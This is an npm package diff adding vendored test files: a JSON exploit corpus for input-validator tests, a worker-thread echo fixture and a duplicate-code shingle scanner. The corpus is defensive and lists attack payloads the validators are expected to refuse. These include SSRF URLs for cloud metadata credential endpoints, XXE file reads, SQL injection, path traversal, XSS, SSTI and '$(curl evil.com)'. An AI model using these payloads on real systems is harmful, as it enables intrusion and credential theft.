@blamejs/blamejs-shop 0.0.44

package/lib/vendor/blamejs/test/fixtures/exploit-corpus/corpus.json

@@ -0,0 +1,368 @@
+{
+  "comment": "Each entry is a known exploit-class fixture. exploit_input_b64 is base64-encoded when the raw bytes contain attack characters that don't survive ASCII source. expected_outcome is 'refused' (validate returns ok=false / action=refuse) or 'sanitized' (validate returns ok=true with action=sanitize / audit-only or a sanitizer is documented to exist). Target primitives correspond to the b.* surface.",
+  "entries": [
+    {
+      "id": "ssrf-aws-imds-v1",
+      "cve": "advisory-AWS-IMDSv1-2019",
+      "category": "ssrf",
+      "exploit_input": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
+      "target_primitive": "ssrfGuard.assertSafe",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "ssrf-gcp-metadata",
+      "cve": "advisory-GCP-Metadata-2020",
+      "category": "ssrf",
+      "exploit_input": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
+      "target_primitive": "ssrfGuard.assertSafe",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "ssrf-azure-imds",
+      "cve": "advisory-Azure-IMDS-2020",
+      "category": "ssrf",
+      "exploit_input": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",
+      "target_primitive": "ssrfGuard.assertSafe",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "ssrf-loopback-decimal",
+      "cve": "advisory-Loopback-Decimal-2021",
+      "category": "ssrf",
+      "exploit_input": "http://2130706433/admin",
+      "target_primitive": "ssrfGuard.assertSafe",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "xxe-billion-laughs",
+      "cve": "CVE-2003-1564",
+      "category": "xxe",
+      "exploit_input_b64": "PD94bWwgdmVyc2lvbj0iMS4wIj8+PCFET0NUWVBFIGxvbHpbPCFFTlRJVFkgbG9sICJsb2wiPjwhRU5USVRZIGxvbDIgIiZsb2w7Jmxvbjs8L0VOVElUWT5dPjxsb2x6PiZsb2wyOzwvbG9sej4=",
+      "target_primitive": "guardXml.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "xxe-external-entity",
+      "cve": "CWE-611",
+      "category": "xxe",
+      "exploit_input_b64": "PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgeHhlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj5dPjxhPiZ4eGU7PC9hPg==",
+      "target_primitive": "guardXml.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "sqli-union-select",
+      "cve": "OWASP-A03",
+      "category": "sqli",
+      "exploit_input": "1' UNION SELECT username,password FROM users--",
+      "target_primitive": "safeSql.assertIdentifier",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "sqli-comment-bypass",
+      "cve": "OWASP-A03",
+      "category": "sqli",
+      "exploit_input": "admin'/**/OR/**/1=1--",
+      "target_primitive": "safeSql.assertIdentifier",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "csrf-origin-spoof",
+      "cve": "OWASP-A01",
+      "category": "csrf",
+      "exploit_input": "https://attacker.example.com",
+      "target_primitive": "safeUrl.parse",
+      "expected_outcome": "sanitized"
+    },
+    {
+      "id": "crlf-injection-header",
+      "cve": "CWE-93",
+      "category": "crlf",
+      "exploit_input_b64": "TG9jYXRpb246IGh0dHA6Ly9leGFtcGxlLmNvbQ0KU2V0LUNvb2tpZTogYWRtaW49dHJ1ZQ==",
+      "target_primitive": "guardEmail.validate",
+      "expected_outcome": "sanitized"
+    },
+    {
+      "id": "log-injection-newline",
+      "cve": "CWE-117",
+      "category": "log-injection",
+      "exploit_input_b64": "dXNlcjFcbjIwMjAtMDEtMDEgRkFLRSBBRE1JTiBMT0dJTg==",
+      "target_primitive": "guardEmail.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "bidi-rtl-override",
+      "cve": "CVE-2021-42574",
+      "category": "unicode-bidi",
+      "exploit_input_b64": "YWRtaW7igK7gpKMucHk=",
+      "target_primitive": "guardDomain.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "unicode-confusable-cyrillic-a",
+      "cve": "CWE-1007",
+      "category": "unicode-confusable",
+      "exploit_input_b64": "0LBwcGxlLmNvbQ==",
+      "target_primitive": "guardDomain.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "polyglot-pdf-jpeg",
+      "cve": "advisory-PDF-Polyglot-2014",
+      "category": "polyglot",
+      "exploit_input_b64": "JVBERi0xLjQKJf//AP8AAP8A//8A////AAD//wD//wD/JVBERg==",
+      "target_primitive": "fileType.detect",
+      "expected_outcome": "sanitized"
+    },
+    {
+      "id": "zip-slip-traversal",
+      "cve": "CVE-2018-1002200",
+      "category": "archive",
+      "exploit_input_b64": "WklQOiAuLi8uLi8uLi9ldGMvcGFzc3dk",
+      "target_primitive": "guardArchive.validateEntries",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "billion-laughs-xml",
+      "cve": "CVE-2003-1564",
+      "category": "xml-bomb",
+      "exploit_input_b64": "PCFET0NUWVBFIGEgWzwhRU5USVRZIGEgImEiPjwhRU5USVRZIGIgIiZhOyZhOyZhOyZhOyZhOyZhOyZhOyZhOyZhOyZhOyI+XT48YT4mYjs8L2E+",
+      "target_primitive": "guardXml.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "proto-pollution-key",
+      "cve": "CVE-2018-3721",
+      "category": "prototype-pollution",
+      "exploit_input": "{\"__proto__\":{\"polluted\":true}}",
+      "target_primitive": "guardJson.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "proto-pollution-constructor",
+      "cve": "CWE-1321",
+      "category": "prototype-pollution",
+      "exploit_input": "{\"constructor\":{\"prototype\":{\"polluted\":true}}}",
+      "target_primitive": "guardJson.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "path-traversal-raw",
+      "cve": "CWE-22",
+      "category": "path-traversal",
+      "exploit_input": "../../../../etc/passwd",
+      "target_primitive": "guardFilename.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "path-traversal-percent-encoded",
+      "cve": "CWE-22",
+      "category": "path-traversal",
+      "exploit_input": "%2e%2e%2f%2e%2e%2fetc%2fpasswd",
+      "target_primitive": "guardFilename.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "path-traversal-overlong-utf8",
+      "cve": "CVE-2000-0884",
+      "category": "path-traversal",
+      "exploit_input_b64": "wK4uLy4uL2V0Yy9wYXNzd2Q=",
+      "target_primitive": "guardFilename.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "null-byte-truncation",
+      "cve": "CWE-158",
+      "category": "null-byte",
+      "exploit_input_b64": "Zm9vLnR4dABzaGFkb3c=",
+      "target_primitive": "guardFilename.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "crlf-mail-headers",
+      "cve": "CVE-2017-7758",
+      "category": "smtp-injection",
+      "exploit_input_b64": "VG86IHZpY3RpbUBleGFtcGxlLmNvbQ0KQmNjOiBhdHRhY2tlckBldmlsLmNvbQ==",
+      "target_primitive": "guardEmail.validateMessage",
+      "expected_outcome": "sanitized"
+    },
+    {
+      "id": "smtp-smuggling-2023",
+      "cve": "CVE-2023-51764",
+      "category": "smtp-smuggling",
+      "exploit_input_b64": "RnJvbTogYUBleGFtcGxlLmNvbQpcbi5cbk1BSUwgRlJPTTo8YkBldmlsLmNvbT4=",
+      "target_primitive": "guardEmail.validateMessage",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "jwt-alg-none",
+      "cve": "CVE-2015-9235",
+      "category": "jwt",
+      "exploit_input_b64": "ZXlKaGJHY2lPaUp1YjI1bElpd2lkSGx3SWpvaVNsZFVJbjAuZXlKemRXSWlPaUl4SW4wLg==",
+      "target_primitive": "guardJwt.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "jwt-kid-traversal",
+      "cve": "CWE-22",
+      "category": "jwt",
+      "exploit_input_b64": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNklpNHVMeTR1THk0dUwyUmxkbXRsZVNKOS5leUp6ZFdJaU9pSXhJbjAuQUFBQQ==",
+      "target_primitive": "guardJwt.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "oauth-state-csrf",
+      "cve": "RFC-6749-10.12",
+      "category": "oauth",
+      "exploit_input": "code=abc&state=",
+      "target_primitive": "guardOauth.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "json-duplicate-key",
+      "cve": "CWE-1287",
+      "category": "json-confusion",
+      "exploit_input": "{\"role\":\"user\",\"role\":\"admin\"}",
+      "target_primitive": "guardJson.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "yaml-billion-laughs",
+      "cve": "CVE-2003-1564",
+      "category": "yaml-bomb",
+      "exploit_input": "a: &a [1,1,1,1,1,1,1,1]\nb: &b [*a,*a,*a,*a,*a,*a,*a,*a]\nc: &c [*b,*b,*b,*b,*b,*b,*b,*b]",
+      "target_primitive": "guardYaml.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "yaml-norway-problem",
+      "cve": "CWE-1287",
+      "category": "yaml-confusion",
+      "exploit_input": "country: NO",
+      "target_primitive": "guardYaml.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "regex-redos-nested-quantifier",
+      "cve": "CVE-2024-21538",
+      "category": "regex-redos",
+      "exploit_input": "(a+)+$",
+      "target_primitive": "guardRegex.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "regex-quantifier-group-not-extglob",
+      "cve": "CVE-2026-33671-regression",
+      "category": "regex-false-positive",
+      "exploit_input": "a*(b+(c))",
+      "target_primitive": "guardRegex.validate",
+      "expected_outcome": "sanitized",
+      "opts": { "profile": "strict" }
+    },
+    {
+      "id": "glob-nested-extglob",
+      "cve": "CVE-2026-33671",
+      "category": "glob-redos",
+      "exploit_input": "*(*(a))",
+      "target_primitive": "guardRegex.validate",
+      "expected_outcome": "refused",
+      "opts": { "profile": "strict", "inputKind": "glob" }
+    },
+    {
+      "id": "glob-consecutive-star",
+      "cve": "CVE-2026-26996",
+      "category": "glob-redos",
+      "exploit_input": "***+nonmatch",
+      "target_primitive": "guardRegex.validate",
+      "expected_outcome": "refused",
+      "opts": { "profile": "strict", "inputKind": "glob" }
+    },
+    {
+      "id": "graphql-proto-pollution-alias-colon",
+      "cve": "CVE-2026-32621",
+      "category": "graphql-proto-pollution",
+      "exploit_input": "query { a:__proto__ }",
+      "target_primitive": "guardGraphql.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "jsonpath-script-injection",
+      "cve": "CWE-94",
+      "category": "jsonpath",
+      "exploit_input_b64": "JC51c2Vyc1s/KEAucm9sZT09ZXZhbCgiYWRtaW4iKSld",
+      "target_primitive": "guardJsonpath.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "csv-formula-injection",
+      "cve": "CWE-1236",
+      "category": "csv-formula",
+      "exploit_input": "=cmd|' /C calc'!A1",
+      "target_primitive": "guardCsv.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "svg-event-handler",
+      "cve": "CWE-79",
+      "category": "svg-xss",
+      "exploit_input": "<svg onload=\"alert(1)\"><circle r=\"10\"/></svg>",
+      "target_primitive": "guardSvg.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "svg-script-element",
+      "cve": "CWE-79",
+      "category": "svg-xss",
+      "exploit_input": "<svg><script>alert(1)</script></svg>",
+      "target_primitive": "guardSvg.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "html-xss-img-onerror",
+      "cve": "CWE-79",
+      "category": "html-xss",
+      "exploit_input": "<img src=x onerror=\"alert(1)\">",
+      "target_primitive": "guardHtml.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "markdown-javascript-link",
+      "cve": "CVE-2026-30838",
+      "category": "markdown",
+      "exploit_input": "[click](javascript:alert(1))",
+      "target_primitive": "guardMarkdown.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "shell-arg-substitution",
+      "cve": "CWE-78",
+      "category": "shell",
+      "exploit_input": "$(curl evil.com)",
+      "target_primitive": "guardShell.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "shell-arg-leading-flag",
+      "cve": "CWE-88",
+      "category": "shell",
+      "exploit_input": "--exec=/bin/sh",
+      "target_primitive": "guardShell.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "template-ssti-jinja",
+      "cve": "CVE-2024-22195",
+      "category": "ssti",
+      "exploit_input": "{{config.__class__.__init__.__globals__}}",
+      "target_primitive": "guardTemplate.validate",
+      "expected_outcome": "refused"
+    },
+    {
+      "id": "uuid-nil-leak",
+      "cve": "RFC-9562-5.9",
+      "category": "uuid",
+      "exploit_input": "00000000-0000-0000-0000-000000000000",
+      "target_primitive": "guardUuid.validate",
+      "expected_outcome": "refused"
+    }
+  ]
+}

package/lib/vendor/blamejs/test/fixtures/http-client-stream-payload.txt

@@ -0,0 +1,2 @@
+blamejs http-client streaming primitives — fixture body for downloadStream + uploadMultipartStream tests.
+This file is intentionally small and ASCII so the hash is stable across line-ending normalisation. End.

package/lib/vendor/blamejs/test/fixtures/worker-pool/echo.js

@@ -0,0 +1,52 @@
+"use strict";
+// Test fixture for b.workerPool — minimal echo / arithmetic worker.
+// ASCII-only per fixture rule.
+//
+// Wire format expected by the pool:
+//   message in : { kind, ... }
+//   reply  out : { ok: true, result } | { ok: false, message }
+//
+// Supported kinds:
+//   "echo"   - reply with the same payload
+//   "double" - reply with payload.n * 2
+//   "throw"  - throw synchronously to surface as ok:false
+//   "loop"   - busy-loop forever to exercise the per-task timeout
+//   "bad"    - reply with a non-envelope shape so the pool surfaces
+//              workerpool/worker-bad-message
+var workerThreads = require("node:worker_threads");
+var parentPort = workerThreads.parentPort;
+if (!parentPort) {
+  throw new Error("worker-pool/echo fixture must run as a worker thread");
+}
+parentPort.on("message", function (msg) {
+  try {
+    if (!msg || typeof msg !== "object") {
+      parentPort.postMessage({ ok: false, message: "expected object message" });
+      return;
+    }
+    if (msg.kind === "echo") {
+      parentPort.postMessage({ ok: true, result: msg.payload });
+      return;
+    }
+    if (msg.kind === "double") {
+      var n = (msg && typeof msg.n === "number") ? msg.n : 0;
+      parentPort.postMessage({ ok: true, result: n * 2 });
+      return;
+    }
+    if (msg.kind === "throw") {
+      throw new Error("fixture-thrown: " + (msg.reason || "no-reason"));
+    }
+    if (msg.kind === "loop") {
+      // Spin until the host terminates this worker. Used to exercise
+      // taskTimeoutMs.
+      while (true) { /* busy */ }
+    }
+    if (msg.kind === "bad") {
+      parentPort.postMessage("not-an-envelope");
+      return;
+    }
+    parentPort.postMessage({ ok: false, message: "unknown kind: " + msg.kind });
+  } catch (e) {
+    parentPort.postMessage({ ok: false, message: (e && e.message) || String(e) });
+  }
+});

package/lib/vendor/blamejs/test/helpers/_codebase-shingle-worker.js

@@ -0,0 +1,24 @@
+"use strict";
+/**
+ * _codebase-shingle-worker — worker_threads entry point invoked by
+ * testNoDuplicateCodeBlocks in codebase-patterns.test.js.
+ *
+ * Receives a shard via workerData: {files, repoRoot, shingleSizes,
+ * minDistinctTokens}. Runs scanShard() and posts the resulting
+ * per-pass-per-size fingerprint map back to the main thread, which
+ * merges with other shards before cluster aggregation.
+ */
+var workerThreads = require("worker_threads");
+var shingle       = require("./_codebase-shingle");
+
+if (!workerThreads.parentPort) {
+  throw new Error("_codebase-shingle-worker.js must be launched via Worker, not required directly");
+}
+
+var data = workerThreads.workerData || {};
+var result = shingle.scanShard(data.files || [], {
+  repoRoot:          data.repoRoot,
+  shingleSizes:      data.shingleSizes,
+  minDistinctTokens: data.minDistinctTokens,
+});
+workerThreads.parentPort.postMessage(result);

package/lib/vendor/blamejs/test/helpers/_codebase-shingle.js

@@ -0,0 +1,203 @@
+"use strict";
+/**
+ * _codebase-shingle — shared shingle-scan helpers extracted from
+ * test/layer-0-primitives/codebase-patterns.test.js so the heavy
+ * tokenize + cross-file shingle scan can run inside worker_threads.
+ *
+ * The main `testNoDuplicateCodeBlocks` detector sharded across N
+ * workers (N = os.cpus().length by default) each call into
+ * `scanShard(absFiles, opts)` which returns a per-pass-per-size
+ * fingerprint map. The main thread merges those maps and runs the
+ * existing cluster-aggregation logic untouched.
+ *
+ * KEEP IN SYNC: the helpers below are the verbatim copies of the
+ * functions previously inlined in codebase-patterns.test.js. Do not
+ * fork the logic — change once here and the worker + the test stay
+ * consistent.
+ */
+
+var fs   = require("fs");
+var path = require("path");
+
+// Same set as `_JS_KEYWORDS` in codebase-patterns.test.js.
+var JS_KEYWORDS = new Set([
+  "var", "let", "const", "function", "return", "if", "else", "for",
+  "while", "do", "switch", "case", "default", "break", "continue",
+  "try", "catch", "finally", "throw", "new", "this", "null", "undefined",
+  "true", "false", "typeof", "instanceof", "in", "of", "delete", "void",
+  "async", "await", "class", "extends", "super", "import", "export",
+  "from", "as", "with", "yield", "static",
+  "require", "module", "exports", "Buffer", "process", "console",
+  "Promise", "Object", "Array", "String", "Number", "Boolean", "Date",
+  "RegExp", "Error", "Math", "JSON", "Symbol", "Map", "Set", "WeakMap",
+  "WeakSet", "Reflect", "Proxy",
+]);
+
+function normalizeJsLine(line) {
+  line = line.replace(/\/\/.*$/, "");
+  line = line.replace(/"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*'|`(?:[^`\\]|\\.)*`/g, "_STR");
+  line = line.replace(/(^|[=(,?:[;!&|]|\breturn\s|\bthrow\s|=>\s*)\/((?:\\.|[^/\\\n])+)\/[gimsuy]*/g,
+                      "$1_RE");
+  line = line.replace(/\b\d+(?:\.\d+)?(?:[eE][+-]?\d+)?\b|0x[0-9a-fA-F]+/g, "_NUM");
+  line = line.replace(/\b[a-zA-Z_$][a-zA-Z0-9_$]*\b/g, function (name) {
+    if (name === "_STR" || name === "_NUM" || name === "_RE") return name;
+    return JS_KEYWORDS.has(name) ? name : "_ID";
+  });
+  line = line.replace(/([.(){}[\];,:?!&|^~<>=+\-*/%@])/g, " $1 ");
+  line = line.replace(/\s+/g, " ").trim();
+  return line;
+}
+
+function tokenizeFile(absPath, repoRoot) {
+  var rel;
+  try { rel = path.relative(repoRoot, absPath).replace(/\\/g, "/"); }
+  catch (_e) { rel = absPath; }
+  var content;
+  try { content = fs.readFileSync(absPath, "utf8"); }
+  catch (_e) { return null; }
+  var lines = content.split(/\r?\n/);
+  var tokens = [];
+  for (var li = 0; li < lines.length; li++) {
+    var rawLine = lines[li];
+    if (/^\s*(\/\/|\*|\/\*)/.test(rawLine)) continue;
+    var norm = normalizeJsLine(rawLine);
+    if (norm.length === 0) continue;
+    var lineToks = norm.split(/\s+/).filter(function (t) { return t.length > 0; });
+    for (var ti = 0; ti < lineToks.length; ti++) {
+      tokens.push({ tok: lineToks[ti], line: li + 1 });
+    }
+  }
+  return { rel: rel, tokens: tokens };
+}
+
+function isBoilerplate(slice) {
+  var toks = slice.map(function (t) { return t.tok; });
+  var joined = toks.join(" ");
+  var requireCallSeq = /\brequire\s+\(\s+_STR\s+\)/g;
+  var requireCalls = (joined.match(requireCallSeq) || []).length;
+  if (requireCalls >= 2) return true;
+  if (requireCalls === 1 && slice.length <= 10) return true;
+  if (/_ID\s+=\s+_ID\s+\(\s+function\s+\(\s+\)\s+\{\s+return\s+require\s+\(\s+_STR\s+\)/.test(joined)) return true;
+  if (/_ID\s+\(\s+\)\s+\.\s+_ID\s+\(\s+_ID\s+,\s+_ID\s+,\s+_ID\s+\|\s+\|\s+\{\s+\}\s+\)/.test(joined)) return true;
+  if (/!\s+_ID\s+\)\s+return\s+;\s+try\s+\{\s+_ID\s+\.\s+_ID\s+\(/.test(joined)) return true;
+  var unpackSeq = /var\s+_ID\s+=\s+_ID\s+\.\s+_ID\s+;/g;
+  var unpacks = (joined.match(unpackSeq) || []).length;
+  if (unpacks >= 2) return true;
+  var strCommaSeq = /_STR\s+,\s+_STR\s+,\s+_STR\s+,\s+_STR/g;
+  if (strCommaSeq.test(joined)) return true;
+  if (/_ID\s+\.\s+_ID\s+\.\s+_ID\s+\(\s+_NUM\s+\)\s+\/\s+_ID\s+\.\s+_ID\s+\.\s+_ID\s+\(\s+_NUM\s+\)/.test(joined)) return true;
+  if (/_ID\s+\.\s+_ID\s+=\s+=\s+=\s+true\s+\|\s+\|\s+typeof\s+_ID\s+\.\s+_ID\s+=\s+=\s+=\s+_STR/.test(joined)) return true;
+  if (/if\s+\(\s+_ID\s+\.\s+_ID\s+!\s+=\s+=\s+undefined\s+&\s+&\s+_ID\s+\.\s+_ID\s+!\s+=\s+=\s+null\s+\)/.test(joined)) return true;
+  var validateChainSeq = /_ID\s+\.\s+_ID\s+\(\s+_ID\s+\.\s+_ID\s+,\s+_STR\s+,\s+_ID\s+\)\s+;/g;
+  var validateChainCount = (joined.match(validateChainSeq) || []).length;
+  if (validateChainCount >= 2) return true;
+  if (/\bclass\s+_ID\s+extends\s+_ID/.test(joined)) return true;
+  if (/\bclass\s+T\s+extends\s+T/.test(joined)) return true;
+  if (/module\s+\.\s+exports\s+=\s+\{/.test(joined)) return true;
+  var kvPairs = (joined.match(/_ID\s+:\s+_ID\s+,/g) || []).length;
+  if (kvPairs >= 4) return true;
+  if (/\bdefineClass\s+\(\s+_STR/.test(joined)) return true;
+  var constantDeclSeq = /var\s+_ID\s+=\s+_ID\s+\.\s+_ID\s+\.\s+_ID\s+\(\s+_NUM\s+\)\s+;/g;
+  var constantDecls = (joined.match(constantDeclSeq) || []).length;
+  if (constantDecls >= 2) return true;
+  var constantDeclSeq2 = /var\s+_ID\s+=\s+_ID\s+\.\s+_ID\s+\(\s+(?:_NUM|_STR)\s*[),]/g;
+  var constantDecls2 = (joined.match(constantDeclSeq2) || []).length;
+  if (constantDecls2 >= 3) return true;
+  var declTokens = toks.filter(function (t) {
+    return t === "=" || t === ";" || t === "," || t === ":" ||
+           t === "_STR" || t === "_NUM" || t === "var" || t === "const";
+  }).length;
+  if (declTokens >= Math.floor(slice.length * 0.55)) return true;
+  var rangeCheckSeq = /_ID\s+>\s+=\s+_NUM\s+&\s+&\s+_ID\s+<\s+=\s+_NUM/g;
+  var rangeChecks = (joined.match(rangeCheckSeq) || []).length;
+  if (rangeChecks >= 2) return true;
+  if (/for\s+\(\s+var\s+_ID\s+=\s+_NUM\s+;\s+_ID\s+<\s+_ID\s+\.\s+_ID\s+;\s+_ID\s+\+\s+\+\s+\)/.test(joined)) return true;
+  var throwTypeofSeq = /if\s+\(\s+typeof\s+_ID[\s\S]{0,40}?\)\s+\{\s+throw\s+new\s+_ID\s+\(\s+_STR\s+,\s+_STR\s+\)\s+;\s+\}/g;
+  var throwTypeofs = (joined.match(throwTypeofSeq) || []).length;
+  if (throwTypeofs >= 2) return true;
+  return false;
+}
+
+// Same fingerprints as the inline versions. (Hash-based variant
+// tested in v0.8.26 surfaced previously-grouped duplicates as
+// distinct clusters — the join-on-space form preserves the cluster
+// identity the existing KNOWN_CLUSTERS allowlist depends on.)
+function sliceFingerprintExact(slice) {
+  return slice.map(function (t) { return t.tok; }).join(" ");
+}
+function sliceFingerprintSkeleton(slice) {
+  return slice.map(function (t) {
+    var k = t.tok;
+    if (/^[A-Za-z_]/.test(k)) return "T";
+    return k;
+  }).join(" ");
+}
+
+/**
+ * scanShard(absFiles, opts) — tokenize the assigned files and run the
+ * shingle scan. Returns:
+ *   {
+ *     exact:    { "<size>": { fp -> [{file, line, endLine}] } },
+ *     skeleton: { "<size>": { fp -> [{file, line, endLine}] } }
+ *   }
+ *
+ * The main thread merges per-(pass,size,fp) lists from every shard
+ * and runs the existing cluster-aggregation logic.
+ */
+function scanShard(absFiles, opts) {
+  opts = opts || {};
+  var repoRoot = opts.repoRoot;
+  var shingleSizes = opts.shingleSizes || [60, 50, 40, 30, 22, 16, 12, 8];
+  var minDistinctTokens = opts.minDistinctTokens || 5;
+
+  var out = { exact: {}, skeleton: {} };
+  for (var sz = 0; sz < shingleSizes.length; sz += 1) {
+    out.exact[shingleSizes[sz]] = {};
+    out.skeleton[shingleSizes[sz]] = {};
+  }
+
+  var passes = [
+    { label: "exact",    fpFn: sliceFingerprintExact,    bucket: out.exact    },
+    { label: "skeleton", fpFn: sliceFingerprintSkeleton, bucket: out.skeleton },
+  ];
+
+  for (var fi = 0; fi < absFiles.length; fi += 1) {
+    var entry = tokenizeFile(absFiles[fi], repoRoot);
+    if (!entry) continue;
+    var tokens = entry.tokens;
+    var rel    = entry.rel;
+    for (var si = 0; si < shingleSizes.length; si += 1) {
+      var n = shingleSizes[si];
+      if (tokens.length < n) continue;
+      for (var ti = 0; ti + n <= tokens.length; ti += 1) {
+        var slice = tokens.slice(ti, ti + n);
+        var distinctMap = {};
+        for (var di = 0; di < slice.length; di += 1) distinctMap[slice[di].tok] = true;
+        if (Object.keys(distinctMap).length < minDistinctTokens) continue;
+        if (isBoilerplate(slice)) continue;
+        for (var pi = 0; pi < passes.length; pi += 1) {
+          var pass = passes[pi];
+          var fp = pass.fpFn(slice);
+          var bucketForSize = pass.bucket[n];
+          if (!bucketForSize[fp]) bucketForSize[fp] = [];
+          bucketForSize[fp].push({
+            file:    rel,
+            line:    slice[0].line,
+            endLine: slice[slice.length - 1].line,
+          });
+        }
+      }
+    }
+  }
+  return out;
+}
+
+module.exports = {
+  JS_KEYWORDS:              JS_KEYWORDS,
+  normalizeJsLine:          normalizeJsLine,
+  tokenizeFile:             tokenizeFile,
+  isBoilerplate:            isBoilerplate,
+  sliceFingerprintExact:    sliceFingerprintExact,
+  sliceFingerprintSkeleton: sliceFingerprintSkeleton,
+  scanShard:                scanShard,
+};